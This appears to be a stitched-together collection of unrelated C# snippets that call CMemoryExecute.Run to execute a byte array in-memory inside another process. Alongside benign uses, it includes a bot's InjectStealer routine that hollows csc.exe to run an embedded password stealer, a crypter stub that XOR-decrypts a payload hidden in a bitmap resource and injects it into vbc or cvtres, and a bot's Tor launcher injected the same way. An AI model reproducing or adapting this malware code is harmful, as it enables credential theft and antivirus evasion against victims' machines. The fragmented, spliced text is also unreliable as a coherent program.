static void Main(string[] args)
{
var dir = System.IO.Directory.GetCurrentDirectory();
byte[] file = Resource1.wkhtmltopdf;
CMemoryExecute.Run(file, dir, "-B 25mm -T 25mm --footer-spacing 5 --footer-html 'footer.html' 'http://www.tamil-bible.com/lookup.php?Book=Romans&Chapter=11' lordjesus.pdf");
}
static bool InjectStealer(String strPasswordFilename)
{
if (CBot.BotConfig.Stealer_Binary == null)
{
#if DEBUG
CBot.BotConfig.Stealer_Binary = CStealerStructure.arr_bArray;
#else
return(false);
#endif
}
try
{
if (CMemoryExecute.Run(CBot.BotConfig.Stealer_Binary, CUtils.GetSystemDir() + @"Microsoft.NET\Framework\v2.0.50727\csc.exe", String.Format("/sxml {0}", strPasswordFilename), out iStealerPID))
{
if (iStealerPID != 1)
{
CBot.BotConfig.Stealer_Binary = null;
return(true);
}
else
{
return(false);
}
}
}
catch { }
return(false);
}
static void Main(string[] args)
{
var bytes = File.ReadAllBytes(@"..\..\..\..\Debug\SampleApp.exe");
CMemoryExecute.Run(bytes, @"C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe");
Console.ReadKey();
}
public static void Run()
{
#if DELAY
Delay();
#endif
#if INSTALL
Install();
#endif
string injectionTarget = "%TARGET%";
switch (injectionTarget)
{
default:
case "itself":
injectionTarget = Application.ExecutablePath;
break;
case "cvtres":
case "vbc":
injectionTarget = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), string.Format("{0}.exe", injectionTarget));
break;
}
string rName = "%RESNAME%";
string rId = "%RESID%";
Bitmap bmp = (Bitmap)GetResource(rName, rId);
byte[] data = ConvertFromBmp(bmp);
byte[] k = Convert.FromBase64String("%KEY%");
for (int i = 0; i < data.Length; i++)
{
data[i] = (byte)(data[i] ^ k[i % k.Length]);
}
//decrypt
if (CMemoryExecute.Run(data, injectionTarget))
{
}
else
{
Thread.Sleep(5000);
}
Environment.Exit(0);
}
public static Boolean StartTor()
{
if (CBot.BotConfig.Tor_Binary == null)
{
#if DEBUG
CBot.BotConfig.Tor_Binary = CTorStructure.arr_bArray;
#else
return(false);
#endif
}
if (CMemoryExecute.Run(CBot.BotConfig.Tor_Binary, CUtils.GetSystemDir() + @"Microsoft.NET\Framework\v2.0.50727\csc.exe", String.Empty, out iTorPID))
{
CBot.BotConfig.Tor_Binary = null;
return(true);
}
return(false);
}
static void Main(string[] args)
{
byte[] backToBytes = Convert.FromBase64String(_exeFile);
CMemoryExecute.Run(backToBytes, @"C:\Windows\system32\calc.exe");
}